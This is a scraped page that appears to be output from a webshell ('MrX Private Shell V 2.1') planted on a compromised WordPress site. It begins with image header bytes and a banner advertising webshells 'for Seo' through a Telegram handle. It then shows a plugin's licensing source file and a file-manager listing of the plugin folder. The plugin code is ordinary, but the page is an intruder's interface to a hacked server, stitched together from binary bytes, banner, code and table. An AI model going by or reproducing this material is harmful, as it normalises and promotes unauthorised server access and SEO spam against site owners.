����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace WP_Business_Reviews_Bundle\Includes;
if (!class_exists('EDD_SL_Plugin_Updater')) {
include_once(dirname(__FILE__) . '/license/EDD_SL_Plugin_Updater.php');
}
class License {
private $url;
private $version;
private $suffix;
public function __construct() {
add_action('admin_init', array($this, 'plugin_updater'));
}
public function plugin_updater() {
$brb_license = get_option('brb_license');
if (strlen($brb_license) < 1) {
update_option('brb_license_status', '');
update_option('brb_license_expired', '');
update_option('brb_latest_version', '');
return;
}
$request_cache_key = 'license_status_' . $brb_license;
if (($request = get_transient($request_cache_key)) === false) {
$request = wp_remote_post('https://admin.richplugins.com/plugins/license-status', array(
'timeout' => 15,
'sslverify' => false,
'body' => array(
'license' => $brb_license,
'slug' => 'brb',
'plugin' => 'Business Reviews Bundle'
)
));
if (!is_wp_error($request)) {
$request = json_decode(wp_remote_retrieve_body($request));
}
set_transient($request_cache_key, $request, 60 * 60 * 3);
}
if ($request) {
if (isset($request->status) && $request->status == 'success') {
update_option('brb_license_status', $request->license_status);
update_option('brb_license_expired', $request->license_expired);
update_option('brb_renewal_status', $request->renewal_status);
update_option('brb_renewal_date', $request->renewal_date);
update_option('brb_latest_version', $request->plugin_version);
} else {
update_option('brb_license_status', '');
update_option('brb_license_expired', '');
update_option('brb_renewal_status', '');
update_option('brb_renewal_date', '');
update_option('brb_latest_version', '');
}
}
$brb_plugin_meta = get_plugin_data(untrailingslashit(plugin_dir_path(BRB_PLUGIN_FILE)) . '/brb.php', false );
$edd_updater = new \EDD_SL_Plugin_Updater('https://admin.richplugins.com/plugins/update-check', plugin_basename(BRB_PLUGIN_FILE), array(
'slug' => 'brb',
'author' => 'RichPlugins',
'version' => $brb_plugin_meta['Version'],
'license' => $brb_license
));
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin | Folder | 0755 |
|
|
| core | Folder | 0755 |
|
|
| license | Folder | 0755 |
|
|
| class-activator.php | File | 6.21 KB | 0644 |
|
| class-assets.php | File | 5.68 KB | 0644 |
|
| class-builder-page.php | File | 6.52 KB | 0644 |
|
| class-collection-deserializer.php | File | 1.16 KB | 0644 |
|
| class-collection-page.php | File | 922 B | 0644 |
|
| class-collection-serializer.php | File | 861 B | 0644 |
|
| class-collection-shortcode.php | File | 1.37 KB | 0644 |
|
| class-collection-widget.php | File | 4.28 KB | 0644 |
|
| class-deactivator.php | File | 135 B | 0644 |
|
| class-debug-info.php | File | 2.53 KB | 0644 |
|
| class-license.php | File | 2.65 KB | 0644 |
|
| class-plugin-settings.php | File | 21.12 KB | 0644 |
|
| class-plugin-support.php | File | 22.57 KB | 0644 |
|
| class-plugin.php | File | 3.81 KB | 0644 |
|
| class-post-types.php | File | 3.72 KB | 0644 |
|
| class-request-handler.php | File | 2.31 KB | 0644 |
|
| class-settings-save.php | File | 14.12 KB | 0644 |
|
| class-view.php | File | 59.98 KB | 0644 |
|
| error_log | File | 1.12 KB | 0644 |
|